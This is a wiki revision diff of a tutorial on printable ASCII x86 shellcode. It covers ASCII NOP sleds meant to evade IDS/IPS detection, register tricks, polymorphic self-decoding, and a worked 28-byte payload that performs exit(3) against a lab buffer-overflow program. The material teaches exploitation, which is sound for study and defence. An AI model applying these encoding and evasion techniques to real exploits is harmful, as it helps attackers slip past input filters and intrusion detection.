Difference between revisions of "Ascii shellcode"
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Ascii [[shellcode]] bypasses many character filters and is somewhat easy to learn due to the fact that many ascii instructions are only one or two [[byte]] instructions. The smaller the instructions, the more easily obfuscated and randomized they are. During many [[Buffer Overflows|buffer overflows]] the buffer is limited to a very small writeable segment of memory, so many times it is important to utilize the smallest possible combination of opcodes. In other cases, more buffer space is available and things like [[#Encoding_Shellcode_:_Ascii_Art|ascii art shellcode]] are more plausible. | Ascii [[shellcode]] bypasses many character filters and is somewhat easy to learn due to the fact that many ascii instructions are only one or two [[byte]] instructions. The smaller the instructions, the more easily obfuscated and randomized they are. During many [[Buffer Overflows|buffer overflows]] the buffer is limited to a very small writeable segment of memory, so many times it is important to utilize the smallest possible combination of opcodes. In other cases, more buffer space is available and things like [[#Encoding_Shellcode_:_Ascii_Art|ascii art shellcode]] are more plausible. | ||
− | + | {{Info|<center>This article is about printable x86 opcodes on '''32-bit''' systems. The [[alphanumeric shellcode]] article contains an explanation of printable 64-bit [[shellcode]], and compatibility notes.</center>}} | |
− | = Available Instructions = | + | {{prereq|[[Assembly Basics|assembly and the stack]], as well as [[Buffer Overflows|stack overflows]].}} |
− | + | <font size="-2">Special thanks to [[User:hatter|hatter]] for his contributions to this article.</font> | |
+ | == Available Instructions == | ||
+ | The printable ascii [[shellcode]] character space consists within 3 main ranges, while symbols exist between them: | ||
* Lowercase alpha falls between 0x61 and 0x7a (a-z). | * Lowercase alpha falls between 0x61 and 0x7a (a-z). | ||
* Uppercase alpha falls between 0x41 and 0x5a (A-Z). | * Uppercase alpha falls between 0x41 and 0x5a (A-Z). | ||
− | * Numeric space falls between 0x30 and 0x39 (0-9). | + | * Numeric space falls between 0x30 and 0x39 (0-9). |
− | + | ||
{| class="wikitable" style="text-align: center" | {| class="wikitable" style="text-align: center" | ||
Line 320: | Line 318: | ||
|} | |} | ||
− | = Constructing | + | == Constructing the NOP Sled == |
− | + | ||
− | == Instructions == | + | Most modern day [[IPS]] systems are capable of recognizing ASCII NOP sleds due to their popularity in modern exploitation. Many [[IPS]] systems look for large strings of repeating characters. The solution to this problem is to make use of 'effective NOPs', instead of simply NOPs. Combine this with a randomization sequence and one can avoid [[IPS]] detection in a few simple steps. |
+ | |||
+ | === Instructions === | ||
{| class="wikitable" style="text-align: center; width: 500px" | {| class="wikitable" style="text-align: center; width: 500px" | ||
Line 382: | Line 382: | ||
|} | |} | ||
− | + | The Pair can be put in any order, e.g. AI, IA, @H, H@, as long as both characters are used the same number of times. They can even be jumbled together. The above is only true when using INC and DEC NOPs exclusively. | |
{| class="wikitable" style="text-align: center; width: 500px" | {| class="wikitable" style="text-align: center; width: 500px" | ||
Line 448: | Line 448: | ||
|} | |} | ||
− | == Implementation == | + | === Implementation === |
{{notice|Proper combination of [[#Instructions|these instructions]] will work to evade repeating-character based [[IDS]] and [[IPS]] systems.}}{{info|There are also other operations can be used as NOPs as well. Of course, these operations do actually do things. This won't affect exploit code because register values are preserved.}} | {{notice|Proper combination of [[#Instructions|these instructions]] will work to evade repeating-character based [[IDS]] and [[IPS]] systems.}}{{info|There are also other operations can be used as NOPs as well. Of course, these operations do actually do things. This won't affect exploit code because register values are preserved.}} | ||
* For example, '4' or '''0x34''' is: | * For example, '4' or '''0x34''' is: | ||
− | <syntaxhighlight lang="asm">xor al, 0x??</syntaxhighlight> | + | {{code|text=<syntaxhighlight lang="asm">xor al, 0x??</syntaxhighlight>}} |
* While '5', or '''0x35''', is: | * While '5', or '''0x35''', is: | ||
− | <syntaxhighlight lang="asm">xor eax, 0x????</syntaxhighlight> | + | {{code|text=<syntaxhighlight lang="asm">xor eax, 0x????</syntaxhighlight>}} |
So, if '''P5LULZX''' were to execute, nothing would happen other than a waste of cpu cycles. The [[Assembly_Basics|Assembly]] looks like : | So, if '''P5LULZX''' were to execute, nothing would happen other than a waste of cpu cycles. The [[Assembly_Basics|Assembly]] looks like : | ||
Line 465: | Line 465: | ||
</syntaxhighlight> | </syntaxhighlight> | ||
}} | }} | ||
− | The value of the %eax register is momentarily changed and then restored.. | + | |
+ | The value of the %eax register is momentarily changed and then restored.. It is not really going to modify execution flow, save for cpu cycle count. There are more examples of this too, if the goal is only to create effective NOPs. For example, '''PhLULZX5LULZX''', adds more bytes to the NOP sled: | ||
{{code | {{code | ||
Line 479: | Line 480: | ||
}} | }} | ||
− | PUSH/POPS can be mixed with INC/DEC operands without much difficulty. Once a register has been pushed to the stack, anything can be done to its value before popping that register back off the stack. | + | PUSH/POPS can be mixed with INC/DEC operands without much difficulty. Once a register has been pushed to the stack, anything can be done to its value before popping that register back off the stack. |
+ | |||
+ | {{info|Even [[Bitwise_Math#3.0_-_NOT.2C_AND.2C_OR_and_XOR|arithmetic calculations]] can be used as long as the original values of the [[Assembly_Basics#Special_Registers|registers]] are restored. This preserves the environment for the executing [[shellcode]].}} | ||
In this example using the PUSH and POP instructions, '''PRQXYZQPRXZY''', the code simply re-arranges the register values and puts them back in the right place. | In this example using the PUSH and POP instructions, '''PRQXYZQPRXZY''', the code simply re-arranges the register values and puts them back in the right place. | ||
Line 504: | Line 507: | ||
As far as the INC/DEC [[Assembly_Basics#Instructions_.26_Concepts|instructions]] are concerned, [[shellcode]] like '''ACBKJI''' leave the %ecx, %edx, and %ebx registers completely unchanged. Therefore any register can be incremented any number of times so long as the register is decremented the same amount.{{protip|INC and DEC use only half a cpu cycle or less depending on CPU architecture and are usually the highest performing instructions of those which are available. Using multiple combinations and implementations of this concept will yield a maximum IDS evasive effect.}} | As far as the INC/DEC [[Assembly_Basics#Instructions_.26_Concepts|instructions]] are concerned, [[shellcode]] like '''ACBKJI''' leave the %ecx, %edx, and %ebx registers completely unchanged. Therefore any register can be incremented any number of times so long as the register is decremented the same amount.{{protip|INC and DEC use only half a cpu cycle or less depending on CPU architecture and are usually the highest performing instructions of those which are available. Using multiple combinations and implementations of this concept will yield a maximum IDS evasive effect.}} | ||
− | = Basic Encoding = | + | == Basic Encoding == |
− | + | ||
− | == Single Byte Register Manipulation == | + | Though there aren't many instructions available in the printable character space, there are still enough instructions to manipulate the values of multiple registers and the stack |
− | + | ||
+ | === Single Byte Register Manipulation === | ||
+ | |||
+ | Using only ASCII, the smallest method to zero out the %eax register is five bytes, '''jXX4X''', examined below: | ||
+ | |||
{| class="wikitable" | {| class="wikitable" | ||
! Ascii | ! Ascii | ||
Line 525: | Line 532: | ||
| <source lang="asm">xor al, 58</source> | | <source lang="asm">xor al, 58</source> | ||
|} | |} | ||
− | {{protip| | + | {{protip|Looking back to the explanation of the '''eax''' register, it can be seen that the '''al''' register is the last [[byte]] of '''eax'''.}} |
* Reviewing that five-byte combination line by line: | * Reviewing that five-byte combination line by line: | ||
{| class="wikitable" | {| class="wikitable" | ||
− | ! [[Assembly Basics|Assembly]] | + | ! [[Assembly Basics|Assembly]]. |
! Action | ! Action | ||
|- | |- | ||
Line 541: | Line 548: | ||
|} | |} | ||
− | == Reviewing XOR == | + | === Reviewing XOR === |
− | + | ||
+ | [[Bitwise_Math#3.4_-_XOR|XOR]] ('''exclusive OR''') can sometimes be a serious inconvenience to developers due to the time consuming and tedious nature of xor-encoding by hand. The XOR instruction performs a [[Bitwise Math|Bitwise Operation]] on two values. If the bits are the same, then the corresponding or respective bit is reset to 0. If the two bits are different, then the corresponding or respective bit is set to 1. For example, '''F xor 3''': | ||
+ | 1111 F xor | ||
+ | 0011 3 = | ||
+ | ------------ | ||
+ | 1100 C | ||
+ | |||
+ | Any time something is XOR'd with itself, it becomes zero. | ||
+ | |||
{| class="wikitable" | {| class="wikitable" | ||
! Example A | ! Example A | ||
Line 549: | Line 564: | ||
| 1111 F xor<br />1111 F =<br />----------<br />0000 0 | | 1111 F xor<br />1111 F =<br />----------<br />0000 0 | ||
| 1001 9 xor<br />1001 9 =<br />----------<br />0000 0 | | 1001 9 xor<br />1001 9 =<br />----------<br />0000 0 | ||
− | |} | + | |} |
− | + | ||
− | + | === DWORD Manipulation === | |
− | + | ||
− | + | Using printable ASCII as [[machine code]] one can '''PUSH''' registers, '''POP''' registers, '''PUSH''' [[Assembly_Basics#Instructions_.26_Concepts|DWORD and byte values]], and '''XOR them'''. | |
− | + | ||
− | + | ||
− | |||
− | |||
* Some of the more important printable instructions include: | * Some of the more important printable instructions include: | ||
+ | |||
{| class="wikitable" | {| class="wikitable" | ||
! Ascii | ! Ascii | ||
Line 611: | Line 623: | ||
| No Operands | | No Operands | ||
|} | |} | ||
+ | |||
* So, a small example of ASCII to modify the entire DWORD value of the '''eax''' register and set the register value to zero is '''hLULZX5LULZ''': | * So, a small example of ASCII to modify the entire DWORD value of the '''eax''' register and set the register value to zero is '''hLULZX5LULZ''': | ||
+ | |||
{| class="wikitable" | {| class="wikitable" | ||
! Ascii | ! Ascii | ||
Line 629: | Line 643: | ||
| <source lang="asm">xor eax, 0x5a4c554c</source> | | <source lang="asm">xor eax, 0x5a4c554c</source> | ||
|} | |} | ||
− | * And the DWORD '''eax''' register has been manipulated and set to 0 in '''11 bytes'''. {{protip|By manipulating the eax register and then pushing it to the stack, | + | * And the DWORD '''eax''' register has been manipulated and set to 0 in '''11 bytes'''. {{protip|By manipulating the eax register and then pushing it to the stack, its value can be popped into other registers so that the value may be preserved, or so that other registers may be used as necessary.}} |
− | = | + | == Introduction to Polymorphic Ascii Shellcode == |
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | [[Polymorphic]] code refers to a piece of code's ability to change itself. [[Machine code]] can modify itself through any of the functions which allow modification of registers and the stack. Self-modifying code is generally used to prevent the reverse-engineer from understanding the code. This method of code obfuscation is quite common and is considered a standard in most targeted exploitations.}}Due to the nature of [[Assembly_Basics#The_Stack|the stack]] and the x86 architecture, '''the stack grows backwards, but executes forwards'''. | |
− | + | ||
− | + | During the first instruction of a buffer overflow payload's execution, the '''esp register''' points to the top of the stack that was overflowed. By manipulating this register properly during shellcode execution, code within the context of the currently executing buffer can be modified or overwritten. To apply this concept to polymorphic [[shellcode]], the esp register must be pointing to a location in the stack ahead of the code currently executing. Because the stack grows backwards, pushed bytes will be written in front of the code being executed, and the code executing will eventually hit the [[byte|bytes]] of [[machine code]] pushed to the stack. | |
− | + | <i>Without ASCII limitations, there are several instructions, or "modifiers" that can be used for the morphing. Generally, any instruction that can be used to modify the value of a register, in relation to itself (anything other than moving a value into a register) is considered a modifier. Modifiers, including ASCII modifiers, are as follows:</i> | |
− | + | {{code|text= | |
− | + | *add | |
− | + | *sub | |
− | + | *dec | |
− | + | *inc | |
− | + | *xor | |
− | + | *or | |
+ | *and | ||
+ | *not | ||
+ | *imul | ||
+ | *idiv | ||
+ | *shl | ||
+ | *shr | ||
+ | *ror | ||
+ | *rol | ||
+ | *insb | ||
+ | *outsb}} | ||
− | + | {{notice|This article will only cover printable ascii polymorphic code.}} | |
− | + | ===Pushing Nops=== | |
− | + | ||
− | + | The goal is to decode binary ahead of the currently executing printable ascii code. Whenever a register is popped from the stack, the esp has 4 bytes added to its pointer. When the '''popad''' or '''popa''' instruction is used, %esp has 32 bytes added to its pointer, as 8 registers are popped off the stack at once. Likewise, push and pop of single registers subtract and add '''4''' to the value of the stack pointer (%esp), respectively. | |
− | + | ||
− | + | Suppose one wanted to use the '''eax''' register, set it to all NOPs ('''0x90''') and push it onto the stack, using nothing but ASCII. The '''\x90''' opcode cannot be used, because the '''\x90''' code does not live in the ASCII keyspace. Obviously this isn't very useful, but the concept is the important part. A very basic polymorphic code is how '''0x90909090''' will be pushed onto the stack without referencing the actual value '''0x90''' a single time. In the shortest amount of bytes possible, the [[shellcode]] to do so is '''jFX4FH5ooooP''' ('''12 bytes'''), analyzing that: | |
− | + | ||
− | + | {| class="wikitable" | |
+ | ! '''Ascii''' | ||
+ | ! '''[[Machine_code|Machine Code]]''' | ||
+ | ! '''Assembly''' | ||
+ | |- | ||
+ | | jF | ||
+ | | \x6a\x46 | ||
+ | | <source lang="asm">pushb $0x46</source> | ||
+ | |- | ||
+ | | X | ||
+ | | \x58 | ||
+ | | <source lang="asm">pop %eax</source> | ||
+ | |- | ||
+ | | 4F | ||
+ | | \x34\x46 | ||
+ | | <source lang="asm">xor $0x46, %al</source> | ||
+ | |- | ||
+ | | H | ||
+ | | \x48 | ||
+ | | <source lang="asm">decl %eax</source> | ||
+ | |- | ||
+ | | 5oooo | ||
+ | | \x35\x6f\x6f\x6f\x6f | ||
+ | | <source lang="asm">xorl $0x6f6f6f6f, %eax</source> | ||
+ | |- | ||
+ | | P | ||
+ | | \x50 | ||
+ | | <source lang="asm">pushl %eax</source> | ||
+ | |} | ||
+ | |||
+ | If this is still confusing, this is further breakdown, following the %eax register, in both common assembly syntaxes: | ||
+ | {| class="wikitable" | ||
+ | ! '''ATT SystemV Assembly''' | ||
+ | ! '''Intel Assembly''' | ||
+ | ! '''Value of eax register''' | ||
+ | |- | ||
+ | | <source lang="asm">pushb $0x46</source> | ||
+ | | <source lang="asm">push 0x46</source> | ||
+ | | | ||
+ | |- | ||
+ | | <source lang="asm">pop %eax</source> | ||
+ | | <source lang="asm">pop eax</source> | ||
+ | | 0x00000046 | ||
+ | |- | ||
+ | | <source lang="asm">xorb $0x46, %al</source> | ||
+ | | <source lang="asm">xor al, 0x46</source> | ||
+ | | 0x00000000 | ||
+ | |- | ||
+ | | <source lang="asm">decl %eax</source> | ||
+ | | <source lang="asm">dec eax</source> | ||
+ | | 0xffffffff | ||
+ | |- | ||
+ | | <source lang="asm">xorl $0x6f6f6f6f, %eax</source> | ||
+ | | <source lang="asm">xor eax, 0x6f6f6f6f</source> | ||
+ | | 0x90909090 | ||
+ | |- | ||
+ | | <source lang="asm">pushl %eax</source> | ||
+ | | <source lang="asm">push eax</source> | ||
+ | | | ||
+ | |} | ||
− | There are two things happening here which | + | There are two things happening here which haven't been covered thoroughly. The first one of these is the '''dec eax''', or the '''\x48''' instruction. Usually, '''dec''' simply decrements the affected register. However, when that register is already equal to '''0x00000000''', '''dec''' will underflow and set the register to '''0xffffffff'''. The second thing is the XOR instruction. The XOR instruction in the above code does an '''exclusive or''' as follows: |
0xffffffff xor | 0xffffffff xor | ||
Line 668: | Line 746: | ||
− | And stores the value in '''eax''', then PUSHes eax. | + | And stores the value in '''eax''', then PUSHes eax. This is a nybble by nybble, [[byte]] by [[byte]] following of the exclusive or instruction: |
1111 1111 1111 1111 1111 1111 1111 1111 (FFFFFFFF) xor | 1111 1111 1111 1111 1111 1111 1111 1111 (FFFFFFFF) xor | ||
Line 675: | Line 753: | ||
1001 0000 1001 0000 1001 0000 1001 0000 (90909090) | 1001 0000 1001 0000 1001 0000 1001 0000 (90909090) | ||
− | Polymorphic code should consist of methods which place a random or comment value into a register, and then XOR the register until the desired value has been reached. | + | Polymorphic code should consist of methods which place a random or comment value into a register, and then XOR the register until the desired value has been reached. The register value can be started at any ASCII value, '''0x00000000''', or '''0xffffffff''', by XORing a register with itself, or by setting the register value to zero and then decrementing it. |
Notice that this [[shellcode]] is '''100% alphanumeric'''. There is of course, non-ASCII and non-alphanumeric polymorphic code, which has much less inhibitions than printable ASCII or alpha-numeric bytecode. | Notice that this [[shellcode]] is '''100% alphanumeric'''. There is of course, non-ASCII and non-alphanumeric polymorphic code, which has much less inhibitions than printable ASCII or alpha-numeric bytecode. | ||
===A sequence for exit=== | ===A sequence for exit=== | ||
+ | |||
In linux/x86 the exit interrupt is pretty straight forward: | In linux/x86 the exit interrupt is pretty straight forward: | ||
+ | |||
{{code|text=<source lang="asm">.section .data | {{code|text=<source lang="asm">.section .data | ||
.section .text | .section .text | ||
Line 688: | Line 768: | ||
incl %eax | incl %eax | ||
xorl %ebx, %ebx | xorl %ebx, %ebx | ||
− | int $0x80</source>}} | + | int $0x80</source>}} |
− | + | ||
− | as exit.s -o exit.o ; ld exit.o -o exit ; ./exit | + | If testing , put the contents of the above code box into a textfile named '''exit.s'''. Then run the following commands in the [[bash]] prompt: |
− | </source>}} | + | {{code|text=<source lang="bash"> |
+ | as exit.s --32 -o exit.o ; ld exit.o -o exit ; ./exit | ||
+ | </source>}} | ||
+ | |||
+ | * exit executes without crashing due to segmentation fault or anything of that nature. The above code sets the interrupt call (the %eax register) to '''1''' (the exit function's kernel interrupt), and the exit code (%ebx register) to '''0''', which you can see by doing the following: | ||
+ | |||
+ | {{code|text=<source lang="bash"> | ||
./exit ; echo $? | ./exit ; echo $? | ||
− | </source>}} | + | </source>}} |
− | {{code|text=<source lang="asm">.section .data | + | * The exit code "3" is going to be used for the example of polymorphism, it will be able to see if the shellcode properly executed. The following code will be used:{{code|text=<source lang="asm">.section .data |
.section .text | .section .text | ||
.globl _start | .globl _start | ||
Line 700: | Line 786: | ||
xorl %eax, %eax | xorl %eax, %eax | ||
incl %eax | incl %eax | ||
− | movl $ | + | movl $3, %ebx |
int $0x80</source>}} | int $0x80</source>}} | ||
− | |||
+ | * Go ahead and re-assemble and execute this, testing for the exit code: | ||
− | + | {{code|text=[user@host ~]$ echo $? | |
− | + | 3}} | |
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ===From assembling to [[machine code]]=== | |
− | + | To get shellcode for the [[#A sequence for exit|exit sequence]], one can use the '''objdump''' command line [[bash]] utility: | |
− | + | ||
− | + | ||
− | + | ||
− | + | {{code|text= | |
+ | [user@host ~]$ objdump -d exit | ||
+ | <pre> | ||
+ | exit: file format elf64-x86-64 | ||
− | + | Disassembly of section .text: | |
− | + | ||
− | + | ||
− | + | ||
− | + | 0000000000400078 <_start>: | |
+ | 400078: 31 c0 xor %eax,%eax | ||
+ | 40007a: ff c0 inc %eax | ||
+ | 40007c: bb 03 00 00 00 mov $0x3,%ebx | ||
+ | 400081: cd 80 int $0x80 | ||
+ | </pre>}} | ||
− | + | * Objdump did a decent favor here - breaking the output into table format: | |
− | + | {| class="wikitable" | |
+ | ! Memory Address | ||
+ | ! [[machine code|Machine Code]] | ||
+ | ! [[Assembly Basics|Assembly]] | ||
+ | |- | ||
+ | | 400078 | ||
+ | | 31 c0 | ||
+ | | <source lang="asm">xor %eax,%eax</source> | ||
+ | |- | ||
+ | | 40007a | ||
+ | | ff c0 | ||
+ | | <source lang="asm">inc %eax</source> | ||
+ | |- | ||
+ | | 40007c | ||
+ | | bb 03 00 00 00 | ||
+ | | <source lang="asm">mov $0x3,%ebx</source> | ||
+ | |- | ||
+ | | 400081 | ||
+ | | cd 80 | ||
+ | | <source lang="asm">int $0x80</source> | ||
+ | |} | ||
− | + | * It can be easily determined that the '''[[machine code]] for this is "\x31\xc0\xff\xc0\xbb\x03\x00\x00\x00\xcd\x80"''' | |
+ | Examining the assembly and shellcode further, because eax and ebx can be easily manipulated, the real challenge here is getting "\xcd\x80" onto the stack. It's also positioned first, since it is executed last. Closer examination will also reveal one need not push the other instructions, so long as the values of %ebx and %eax are sound when the kernel interrupt is called. So, because "\xcd\x80" is '''two bytes''', or a '''word''', '''0x66''' (or '''f''' in alpha) instruction prefix will have to be used to force a 16-bit operand size in conjunction with the '''0x35''' xor dword instruction. Though, something that when XOR'd with 0xcd80 still needs to be found in the printable character space (between '''0x30''' and '''0x7a'''). | ||
− | = | + | ===Converting Exit to Printable Ascii=== |
− | + | ||
− | + | The following needs to be kept in mind when converting the exit shellcode to ascii: | |
− | + | {{code|text= | |
+ | * For successful exploitation, a trick from the ascii '''nop''' example will need to be used to get '''eax''' to '''0xffffffff'''. | ||
+ | * The target is '''????80cd''', because it must go onto the stack backwards | ||
+ | * The first two bytes will be completely irrelevent, as they will occur in the stack '''after''' the kernel interrupt for exit. | ||
+ | * The '''%eax''' register must equal the value '1' when the interrupt is called. | ||
+ | * The '''%ebx''' register must equal the decimal value '3' or hexidecimal value '''0x03''' when the interrupt is called.}} | ||
− | + | ====eax & ebx==== | |
− | + | ||
− | + | Taking a look at %ebx, it's value will need to be set to '''0x03'''. The best way it can be done is by manipulating the %eax register, then pushing the eax register and popping the value back into %ebx. The following code can do this: | |
− | + | {{code|text=<source lang="asm">pushb $0x30 | |
+ | pop %eax | ||
+ | xorb $0x33, %al | ||
+ | pushl %eax | ||
+ | pop %ebx</source>}} | ||
− | + | %ebx and %eax are both 3. The %eax register can simply be decremented twice ('''H''' in alpha) to get to the value of '1': | |
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | When analyzed: | |
− | + | ||
− | + | {| class="wikitable" | |
− | + | ! [[Assembly Basics|Assembly]] | |
− | + | ! [[machine code|Machine Code]] | |
+ | ! Ascii | ||
+ | |- | ||
+ | | <source lang="asm">pushb $0x30</source> | ||
+ | | \x6a\x30 | ||
+ | | j0 | ||
+ | |- | ||
+ | | <source lang="asm">pop %eax</source> | ||
+ | | \x58 | ||
+ | | X | ||
+ | |- | ||
+ | | <source lang="asm">xor $0x33, %al</source> | ||
+ | | \x34\x33 | ||
+ | | 43 | ||
+ | |- | ||
+ | | <source lang="asm">pushl %eax</source> | ||
+ | | \x50 | ||
+ | | P | ||
+ | |- | ||
+ | | <source lang="asm">pop %ebx</source> | ||
+ | | \x5b | ||
+ | | [ | ||
+ | |- | ||
+ | | <source lang="asm">decl %eax</source> | ||
+ | | \x48 | ||
+ | | H | ||
+ | |- | ||
+ | | <source lang="asm">decl %eax</source> | ||
+ | | \x48 | ||
+ | | H | ||
+ | |} | ||
− | + | * The ascii code for this manipulation of the %eax and %ebx registers looks like "'''j0X43P[HH'''". | |
− | + | ||
− | + | ||
− | ' | + | |
− | + | ||
− | + | ==== The Kernel Interrupt ==== | |
− | + | ||
− | + | ||
− | + | This next part is a bit more difficult. \xcd\x80 needs to be constructed on the stack. First, zeroing out the eax register, and decrementing it to get '''0xffffffff''': | |
+ | {| class="wikitable" | ||
+ | ! Assembly | ||
+ | ! Ascii | ||
+ | |- | ||
+ | | <source lang="asm">pushb $0x6a</source> | ||
+ | | jj | ||
+ | |- | ||
+ | | <source lang="asm">pop %eax</source> | ||
+ | | X | ||
+ | |- | ||
+ | | <source lang="asm">xorb $0x6a, %al</source> | ||
+ | | 4j | ||
+ | |- | ||
+ | | <source lang="asm">decl %eax</source> | ||
+ | | H | ||
+ | |} | ||
− | + | Once jjX4jH has been run, eax must be set to 0xffffffff. Now, determining what the target xor should be: | |
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | Lets get | + | FFFF xor |
+ | 80CD = | ||
+ | ---------- | ||
+ | 7F32 | ||
+ | |||
+ | * Now due to the way xor works, find two ascii sequences that can be assumed when xor'd together, come out to 0x7f32: | ||
+ | |||
+ | {| class="wikitable" | ||
+ | ! [[Assembly Basics|Assembly]] | ||
+ | ! [[machine code|Machine Code]] | ||
+ | ! Ascii | ||
+ | |- | ||
+ | | <source lang="asm">xor $0x4f65, %ax</source> | ||
+ | | \x66\x35\x4f\x65 | ||
+ | | f5Oe | ||
+ | |- | ||
+ | | <source lang="asm">xor $0x3057, %ax</source> | ||
+ | | \x66\x35\x30\x57 | ||
+ | | f50W | ||
+ | |- | ||
+ | | <source lang="asm">pushl %eax</source> | ||
+ | | \x50 | ||
+ | | P | ||
+ | |} | ||
+ | |||
+ | * And all put together, the ascii code for getting \xcd\x80 onto the stack in the correct order looks like "jjX4jHf5Oef50WP". | ||
+ | |||
+ | ====The Code==== | ||
+ | The first thing to be done is add to ESP. Find out how many bytes to be added by adding up all this shellcode. So far, there is "jjX4jHf5Oef50WP" and "j0X43P[HH" to [[#The_Kernel_Interrupt|push \xcd\x80]] onto the stack, and using stack space, [[#eax_.26_ebx|set %eax to 1 and %ebx to 3]]. The next problem in the equation is the reliance on push to apply values, and pushed instructions (\xcd\x80) onto the stack with the first bit, which could get overwritten or have instructions written in front of it. Now all of these things need to be tied together along with the knowledge of [[Assembly_Basics#Overflows|the stack]] to ensure proper execution of the code. | ||
+ | |||
+ | {{code|text= | ||
+ | <b>There are multiple solutions to this</b>: | ||
+ | * Overwriting a dword (or more memory) between the currently executing code and yet-to-be-executed code with nops after its been used for the stack. | ||
+ | * Add 8 to esp every time a piece of code is decoded and pushed to the stack, so that unpacking code will unpack forwards rather than backwards. | ||
+ | }} | ||
+ | |||
+ | <i>In this example, 8 is added to %esp by popping an arbitrary register that the code doesn't care about. In this case, the arbitrary register is %edx. So once the exit code has been written, %edx is popped twice to add 8 to %esp. This will not only prevent us from overwriting the exit code with a single push instruction, but also prevents single-push instructions from overwriting code between executing code and the freshly unpacked the exit code.</i> | ||
+ | |||
+ | |||
+ | <b>In review:</b> | ||
+ | * The stack pointer (%esp) must be set to the value of the shellcode's length in bytes above the instruction pointer (%eip) | ||
+ | * The stack will need to be manipulated properly to avoid overwriting reconstructed instructions. | ||
+ | |||
+ | To align the stack pointer, a combination of the popad instruction and pop register instructions will be used to ensure the smallest possible code. Assuming that %eip = %esp at the time of the code's execution (it rarely will) the smallest possible code is 28 bytes: | ||
+ | |||
+ | '''aPjjX4jHf5eOf5W0PZZj0X43P[HH''' | ||
+ | |||
+ | Examining what's going on here: | ||
+ | |||
+ | {| class="wikitable" | ||
+ | ! [[Assembly Basics|Assembly]] | ||
+ | ! [[machine code|Machine Code]] | ||
+ | ! Ascii | ||
+ | ! Comment | ||
+ | |- | ||
+ | | <source lang="asm">popa</source> | ||
+ | | \x61 | ||
+ | | a | ||
+ | | Used to align %esp 32 bytes ahead - 4 bytes from the end of the shellcode | ||
+ | |- | ||
+ | | <source lang="asm">pushl %eax</source> | ||
+ | | \x50 | ||
+ | | P | ||
+ | | Used to subtract 4 from %esp to align it immediately after the code | ||
+ | |- | ||
+ | | <source lang="asm">pushb $0x6a</source> | ||
+ | | \x6a\x6a | ||
+ | | jj | ||
+ | | put $0x6a on the stack | ||
+ | |- | ||
+ | | <source lang="asm">pop %eax</source> | ||
+ | | \x58 | ||
+ | | X | ||
+ | | %eax is set to 0x6a | ||
+ | |- | ||
+ | | <source lang="asm">xorb 0x6a, %al</source> | ||
+ | | \x34\x6a | ||
+ | | 4j | ||
+ | | Zero out %eax | ||
+ | |- | ||
+ | | <source lang="asm">decl %eax</source> | ||
+ | | \x48 | ||
+ | | H | ||
+ | | %eax is now set to 0xffffffff so \xcd\x80 can be used with xor | ||
+ | |- | ||
+ | | <source lang="asm">xor $0x4f65, %ax</source> | ||
+ | | \x66\x35\x65\x4F | ||
+ | | f5eO | ||
+ | | Our first round of xor | ||
+ | |- | ||
+ | | <source lang="asm">xor $0x3057, %ax</source> | ||
+ | | \x66\x35\x57\x30 | ||
+ | | f5W0 | ||
+ | | Sets %eax to 0xffff80cd | ||
+ | |- | ||
+ | | <source lang="asm">push %eax</source> | ||
+ | | \x50 | ||
+ | | P | ||
+ | | Makes \xcd\x80\xff\xff hit the stack | ||
+ | |- | ||
+ | | <source lang="asm">pop %edx</source> | ||
+ | | \x5a | ||
+ | | Z | ||
+ | | Used to add 4 to %esp, because %edx does not matter for the code. | ||
+ | |- | ||
+ | | <source lang="asm">pop %edx</source> | ||
+ | | \x5a | ||
+ | | Z | ||
+ | | Add 4 more to %esp, now past the code for exit constructed in front of the code | ||
+ | |- | ||
+ | | <source lang="asm">pushb $0x30</source> | ||
+ | | \x6a\x30 | ||
+ | | j0 | ||
+ | | Set up to set ebx = 3 | ||
+ | |- | ||
+ | | <source lang="asm">pop %eax</source> | ||
+ | | \x58 | ||
+ | | X | ||
+ | | %eax = $0x30 | ||
+ | |- | ||
+ | | <source lang="asm">xor $0x33, %al</source> | ||
+ | | \x34\x33 | ||
+ | | 43 | ||
+ | | set %eax to 3 for moving it into %ebx | ||
+ | |- | ||
+ | | <source lang="asm">push %eax</source> | ||
+ | | \x50 | ||
+ | | P | ||
+ | | push 0x00000003 onto the stack, ahead of the interrupt sequence | ||
+ | |- | ||
+ | | <source lang="asm">pop %ebx</source> | ||
+ | | \x5b | ||
+ | | [ | ||
+ | | Set the exit code to '3' by the value off of the stack into %ebx | ||
+ | |- | ||
+ | | <source lang="asm">decl %eax</source> | ||
+ | | \x48 | ||
+ | | H | ||
+ | | Since 3 was stored in %eax as well as %ebx, %eax is then decremented twice to get 1. | ||
+ | |- | ||
+ | | <source lang="asm">decl %eax</source> | ||
+ | | \x48 | ||
+ | | H | ||
+ | | %eax is 1, %ebx is 3. The next bytes have been overwritten with [[machine code]] for '''int $0x80'''. | ||
+ | |} | ||
+ | |||
+ | *Now this needs to be converted to ascii to be put onto the stack. The preferred method to do this is by using "strings" against the generated object file. Save the above code in a file called payload.s, assemble it with 'as' and run strings on payload.o, as follows: | ||
+ | |||
+ | [user@host ~]$ as payload.s --32 -o payload.o | ||
+ | [user@host ~]$ strings payload.o | ||
+ | aPjjX4jHf5eOf5W0PZZj0X43P[HH | ||
+ | |||
+ | *And to make sure its 28 bytes: | ||
+ | [user@host ~]$ echo -n $(strings payload.o)|wc | ||
+ | 1 1 28 | ||
+ | |||
+ | ===Testing Our Code=== | ||
+ | |||
+ | Stack dumps in this segment have been shortened for brevity and readability. | ||
+ | |||
+ | ====Analyzing the Buffer==== | ||
+ | {{info|Using the '''bof.c''' example from [[Buffer_Overflows#bof.c|buffer overflows]], there is a 100 byte buffer.}} | ||
+ | * Lets start with 116 "A" characters to isolate the return pointer: | ||
+ | |||
+ | [hatter@eclipse ~]$ gdb -q ./bof | ||
+ | Reading symbols from /home/hatter/bof...(no debugging symbols found)...done. | ||
+ | (gdb) break main | ||
+ | Breakpoint 1 at 0x80483e7 | ||
+ | (gdb) r `perl -e 'print "A"x116'` | ||
+ | Starting program: /home/hatter/bof `perl -e 'print "A"x116'` | ||
+ | (gdb) x/200x $esp | ||
+ | '''0xbffff538''': 0x00000000 0xb7e35483 0x00000002 0xbffff5d4 | ||
+ | |||
+ | * Notice that %esp is aligned at 0xbffff538. Skipping to the end, the code starts appearing at 0xbffff748. | ||
+ | |||
